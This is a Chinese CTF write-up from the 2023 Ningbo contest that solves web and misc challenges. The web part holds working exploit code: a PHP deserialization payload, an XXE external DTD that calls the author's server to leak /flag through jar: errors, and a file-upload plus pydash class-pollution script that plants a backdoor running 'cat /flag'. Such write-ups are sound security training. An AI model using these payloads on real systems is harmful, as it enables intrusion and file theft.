2023宁波市赛wp

web

Query

sqlmap一把梭

Deserialization

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//The location of the flag is at route.php
$read = $_POST["read"];
$input = $_POST["input"];
if(!isset($read) or !isset($input))
{
die("NONONO!");
}
if(strpos($read, "f14g")===FALSE)
{
include($read);
$input = unserialize($input);
$input2 = clone $input;
$input2->position = "route.php";
}
else{
die("NONONO!");
}

php://filterroute.php

得到

1
2
3
4
5
<h1>Here can you find the position of the flag!</h1>
<?php
$position = "f14g.php";
$gadget = "h1nt.php";
?>

再读h1nt.php

1
2
3
4
5
6
7
8
9
10
<?php
class test
{
public $position;
public function __clone(){
echo file_get_contents($this->position);
return $this->position;
}
}
?>

反序列化,调用__clone方法时读f14g.php
payload

1
2
3
4
5
6
7
8
9
<?php
class test
{
public $position='f14g.php';
}

$a = new test();
echo serialize($a);
//read=h1nt.php&input=O:4:"test":1:{s:8:"position";s:8:"f14g.php";}

CodeCheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$flag = "***********";
if(!isset($_GET['a']) or !isset($_GET['b']))
{
die("NONONO");
}
if(file_get_contents($_GET['a'])!== "flag")
{
die("NONONO");
}
if(file_get_contents($_GET['b'])!==$_GET['c'])
{
die("NONONO");
}
if(isset($_GET['d']))
{
include($_GET['d']);
}

使用php://input使得a的值为flag,b同理,d使用php://filter读文件

easy_java

访问靶机自动跳转到/parser?body=%7B"1"%3A"2"%7D,并返回json
访问/parser?body=1,返回plain

猜测这是一个类型解析器,可以解析输入的数据类型并返回

fuzz后发现支持xml格式,尝试利用xxe漏洞。因为是java环境,尝试使用jar协议原理参考

vps上用flask构建一个恶意dtd

1
2
<!ENTITY % c SYSTEM "file:///flag">
<!ENTITY % a "<!ENTITY remote SYSTEM 'jar:http://20.2.129.79/1.zip!/%c;'>">

在apache上放一个1.zip,内容随意

jar协议1.zip中找不到file://中指定的文件时就会报错,通过报错回显文件内容

且过滤了"http,可以使用"url:http来绕过

最终payload

1
2
3
4
5
6
<!DOCTYPE convert [
<!ENTITY % b SYSTEM "url:http://20.2.129.79:7777/evil.dtd">
%b;
%a;
]>
<convert>&remote;</convert>

easy_upload

打开靶机后有一个文件上传功能

但是对路径,后缀,文件内容进行了检测

路径中过滤了..,不能进行目录穿越,只能存放在/tmp/下,·且后缀检查的黑名单较严格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

function check_path($path){
$black_list = ["php",'\.\.',"htaccess","ini","html"];
if (preg_match('/(' . implode('|', $black_list) . ')/i', strtolower($path))) {
return false;
}
return true;
}

function check_extension($extension){
$black_list = array('php', 'php3', 'php4', 'php5', 'phtml', 'py', 'pl','pyc','php7','html','ini','htaccess');
if (in_array(strtolower($extension),$black_list)){
return false;
}
return true;
}

function up_base64($file_path, $base64)
{

if (preg_match('/^(data:\s*image\/(\w*);base64,)/', $base64, $result)) {

$type = $result[2];
if (!check_extension($type)){
return false;
}
$res = '/tmp/' . time() . "/";
if (!is_dir($res)) {
mkdir($res, 0777);
}
$newFile = $res . $file_path . ".{$type}"; //图片名以时间命名
//保存为文件
if (file_put_contents($newFile, base64_decode(str_replace($result[1], '', $base64)))) {
//返回这个图片的路径
return $newFile;
} else {
return false;
}
} else {
return false;
}
}

if (isset($_GET["action"]) and $_GET['action'] == 'base64') {
if (check_path($_GET["path"])) {
$res = up_base64($_GET["path"], file_get_contents("php://input"));
if (!$res){
echo "<h1>upload success</h1>";
}else{
echo "<h1>Hacker!</h1>";
}
}
} else {
highlight_file(__FILE__);
}

同时扫描网址发现存在/app路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import sys
from flask import Flask, request
from challenge import challenge
import re

app = Flask(__name__)


def check(value: str):
black_list = ["app", "_static_folder", "pardir", "os",
"env", "jinja", "modules", "exported","loader","__spec__"]
if re.findall("r'[^\w\.\[\]]'", value):
return False
else:
for i in black_list:
if i in value:
return False

return True


@app.route("/app/set", methods=["POST"])
def set():
key, value = request.json.get('key'), request.json.get('value')

if not key or type(key) != str:
return {"message": "Not key or key must be str"}, 400
if len(key) > 100:
return {"message": "Key may be too long!"}, 400
if value and len(value) > 20:
return {"message": "Value may be too long!"}, 400
if not value:
game.complete(value)
return {"message": "Key set success !"}, 200
if type(value) != str:
return {"message": "Value must be a string!"}, 400

if not check(key):
print(key)
return {"message": "Hacker!"}, 400

# pydash?
if game.set(key, value):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400


@app.route("/app/", methods=["GET"])
def get_source():
fp = open(__file__)
res = fp.read()
fp.close
return res.replace(" ", " ").replace("\n", "
")


@app.route("/app/get", methods=["GET"])
def get_date():
import backdoor
flag = backdoor.backdoor()
sys.modules.pop("backdoor")
return flag


game = challenge()
app.run('0.0.0.0', 3000)

其中有三个路由

/app显示当前代码
/app/get存在后门,有导入包的操作
/app/set用于设置键值对

其中存在提示# pydash?,表示通过pydash设置属性,而pydash低版本存在类污染,可以利用pydash.set来设置或覆盖属性值,也可以设置路径

/app/get路由中存在一个import的操作,当Python解释器遇到import语句时,它会在sys.path变量中指定的路径中搜索模块,其中sys.path[0]则表示最初调用Python解释器的脚本所在的绝对路径

所以我们可以上传一个名称为backdoor的py文件,再利用pydash.set覆盖sys.path[0]的值,使其寻找包时找到我们的恶意包

同时题目中还存在一个waf

1
2
black_list = ["app", "_static_folder", "pardir", "os",
"env", "jinja", "modules", "exported","loader","__spec__"]

可以利用pydash.helpers导入inspect来绕过

还有一点要注意,上传时对$type进行了检查,不允许上传py类型的文件,但是$type的值是可控的,我们可以将其置空

1
2
//line 32
$newFile = $res . $file_path . ".{$type}";

如果$type为空,就会在文件尾加一个点,例如backdoor.py.

这里可以用file_put_contents的一个trick绕过,如图

例如backdoor.py/.file_put_contents会自已给标准化成绝对路径

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
import requests
import base64

url = "x.x.x.x"
shell = '''import os
def backdoor():
return os.popen("cat /flag").read()
'''

def exploit():
data = "data:image/;base64," + base64.b64encode(shell.encode()).decode()
start = int(time.time())
res = requests.post(
url=url+"index.php?action=base64&path=backdoor.py/", data=data)
end = int(time.time())
for i in range(start, end+2):
print(i)
data = {
"key": "__init__.__globals__.pydash.helpers.inspect.sys.path[0]",
"value": "/tmp/%s/" % (i)
}
print(data)
requests.post(url=url+"app/set",json=data)
res = requests.get(url=url+"app/get")
if "flag??" not in res.text and res.status_code != 500:
print(res.text)
break
else:
print(res.text)

if __name__ == "__main__":
exploit()

misc

zip

zip注释:The art of 0 and 1, and it will remain shorter than 9.

生成字典

1
2
3
4
5
6
7
8
9
my_dict = {}
for i in range(1, 10):
bin_strings = [bin(j)[2:].zfill(i) for j in range(2**i)]
my_dict[i] = bin_strings
for key,value in my_dict.items():
with open('dic.txt','a+')as f:
for i in value:
f.write(i+'\n')

爆破得到密码01001101

解压得到flag

SimpleDocument

图片分离出一个pdf,用pdf编辑器全选,发现有一个隐藏的文本

BeautifulImage

stegsolve分析,0通道藏有base加密字符串

tree

下载附件得到一个tree.py,约有60w行代码

部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os

# the o mean is 0!

class tree_0aB30386():
def tree_o02aA7B4(self):
if -1705 < 2926:
tree_b270co58.tree_f79D6eB3(self)

class tree_51o1oA3a():
def tree_433218o8(self):
if 1793 < -5366:
tree_B813Fe08.tree_AaA1b735(self)

class tree_2598o3do():
def tree_7C0ooB75(self):
if -7226 > -7705:
tree_3482o9ob.tree_0d6aDA0F(self)

class tree_0a351C93():
def tree_39cD9171(self):
if 9865 < 592:
tree_Coc29fcC.tree_22E98104(self)

class tree_170EE546():
def tree_70759F44(self):
if -8714 < 4093:
tree_8D0oE9Cf.tree_2F7682e6(self)

且存在部分函数调用os.system,执行的语句均为cat /*

除了os函数外,其他函数都存在一个if,判断成功时引用下一个类

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import random
import os
import ast


class tree_91fo80eD():
def tree_7040e9o9(self):
os.system('cat /*')


class tree_88eF054e():
def tree_o00o0b68(self):
tree_91fo80eD.tree_7040e9o9(self)


class tree_1a0c10D0():
def tree_4Cc0o1Do(self):
tree_88eF054e().tree_o00o0b68(self)

这段代码的完整利用链为:
tree_1a0c10D0.tree_4Cc0o1Do() -> tree_88eF054e.tree_o00o0b68() -> tree_91fo80eD.tree_7040e9o9()

所以我们需要分析代码,找到最终触发os.system的利用链,并提取出来

同时对所有os.system语句标记污点,如果遇到if判断错误的,则直接取消污点标记,并一直往上寻找最终利用链,并记录类名、函数名和函数内的具体内容

根据提示# the o mean is 0!,提取所有完整利用链的类名的后8位十六进制字符,并将o转化为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import ast
import sys
import astor

# 解析Python文件,获取语法树
with open("tree.py", "r") as file:
source_code = file.read()
syntax_tree = ast.parse(source_code)

# 初始化类名和函数字典
class_dict = {}

# 遍历语法树,获取类和函数名
for node in syntax_tree.body:
if isinstance(node, ast.ClassDef):
class_name = node.name
class_dict[class_name] = {}
for inner_node in node.body:
if isinstance(inner_node, ast.FunctionDef):
func_name = inner_node.name
class_dict[class_name][func_name] = []
for code in inner_node.body:
class_dict[class_name][func_name].append(astor.to_source(code).strip())

# 输出结果

class_keys = []
for func_dict in class_dict.items():
if 'os.system' in str(func_dict):
sub = func_dict[1][list(func_dict[1].items())[0][0]][0].split('\n')[0].split(' ')
if sub[2] == '>':
if int(sub[1]) < int(sub[3][:-1]):
continue
elif sub[2] == '<':
if int(sub[1]) > int(sub[3][:-1]):
continue
class_keys.append(func_dict[0])

for key in class_keys:
class_key = key
func_key = list(class_dict[class_key])[0]
list_class = [class_key]
flag = 1
flags = 0
while flag != 0 and flags == 0:
flag = 1
flags = 0
for func_dict in class_dict.items():
for code in func_dict[1].items():
# print(func_dict[1].items(), flag)
if class_key in code[1][0] and func_key in code[1][0]:
sub = code[1][0].split('\n')[0].split(' ')
if sub[2] == '>':
if int(sub[1]) < int(sub[3][:-1]):
flag = -1
elif sub[2] == '<':
if int(sub[1]) > int(sub[3][:-1]):
flag = -1
flags = 2
func_key = code[0]
class_key = func_dict[0]
# print(func_key, class_key)
# print(func_key, class_key)
list_class.append(class_key)
# print(list_class)
else:
# print(flag, flags)
if flag == -1:
flags = 1
if flags == 2:
flags = 0
continue
if flag == 1 and flags == 0:
break
# 将完整利用链的类名,去除tree_,o改为0,按照顺序输出成字符串
if flag != -1:
for cla in list_class:
print(cla[5:].replace('o', '0'), end='')
print('')

最终得到两条完整的利用链

1
7468652070617373776f7264206973203730383532613933613336343963613736653335626138353833376566613135
1
377aBCAf271c00041373e10830000000000000006A0000000000000057Acbd47A5c4CDB728a43AF6d91D92D25519Bac7876E97909B633223d3A1d7417A3a741ddAfB0E9A7F0b25C726085149ad1da4D40104060001093000070B0100022406F1070112530f9A96C63163E0Df042FD12EC0b32431902121010001000C2A2600080a017088A4910000050119010011130066006c00610067002e0074007800740000001900140a01008B43f758BE7Ad901150601002000000000000000

转字符串后发现一个为7z文件,一个为the password is 70852a93a3649ca76e35ba85837efa15,解压得到flag

hacker_traffic

在第4615条流中发现flag.zip

注释内容:password is (md5(virus_file) + lhost_ip)

同时发现流量中有很多elf文件,使用tshark或者python提取

这里使用binwalk,但是需要注意部分binwalk版本不能提取elf文件

需要修改/usr/lib/python3/dist-packages/binwalk/config/extract.conf文件(以kali默认位置为例)

共提取出100个elf文件,且每个elf文件运行后都会打印一个md5值

使用tcpdump监听后运行所有elf文件
tcpdump -tttt -s0 -X -vv -w t.pcap

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

# 使用find命令查找当前文件夹下所有的elf文件
elf_files=$(find . -maxdepth 1 -type f -executable -name "*.elf")

# 使用循环依次执行每一个elf文件
for file in $elf_files
do
echo "Executing $file"
./$file
done

分析t.pcap文件,发现只有22E7CF.elf访问了192.168.3.201这个ip

将文件md5和地址拼接后解压提示密码错误,是因为tcp传输文件会有冗余,需要计算elf文件的真正大小

readelf读文件

得到

1
2
3
Start of section headers:          14736 (bytes into file)
Size of section headers: 64 (bytes)
Number of section headers: 30

参考文章:计算机原理系列之二 ——– 详解ELF文件

计算得到14736+64*30=16656字节

16656即4110(16进制),将冗余的数据去除

计算真正的md5

拼接起来,得到0f82ecb23adc35a4a5e3d8bdabbafe15192.168.3.201

解压得到一个py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flag import secret
key = "x.x.x.x"


def encrypt_flag(flag, key):
random.seed(key)
table = list(range(0, 38))
random.shuffle(table)
flag = [flag[i] for i in table]
ascii_flag = [ord(c) for c in flag]
random.seed(key)
xor_key = random.randint(0, 255)
encrypted_flag = [c ^ xor_key for c in ascii_flag]
return base64.b64encode(bytes(encrypted_flag)).decode("ascii")
print(encrypt_flag(flag, key))
# VFVWU1kGBgIMUlMBVFcBBgRRBFAHVFBVUFkbUB0DAQMEBVIGAlE=

伪随机+shuffle生成s盒进行的置换异或加密

根据key="x.x.x.x"可知key就是ip地址,为192.168.3.201

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import random


def decrypt_flag(encrypted_flag, key):
random.seed(key)
table = list(range(0, 38))
random.shuffle(table)
# 解码base64编码的字符串
encrypted_flag = base64.b64decode(encrypted_flag.encode("ascii"))

# 随机生成一个密钥
random.seed(key)
xor_key = random.randint(0, 255)

# 对加密后的ASCII码列表进行异或运算
decrypted_flag = [c ^ xor_key for c in encrypted_flag]

# 将异或后的ASCII码列表转换成字符列表
flag = ''.join([chr(c) for c in decrypted_flag])
final_flag = [0]*38
for i in range(0, len(table)):
final_flag[table[i]] = flag[i]

# 返回解密后的flag字符串
return ''.join(final_flag)

key = "192.168.3.201"
text = 'VFVWU1kGBgIMUlMBVFcBBgRRBFAHVFBVUFkbUB0DAQMEBVIGAlE='
flag = decrypt_flag(text, key)
print(flag)

2023宁波市赛wp
https://www.dr0n.top/posts/2d3983d/
作者
dr0n
发布于
2023年5月20日
更新于
2024年3月22日
许可协议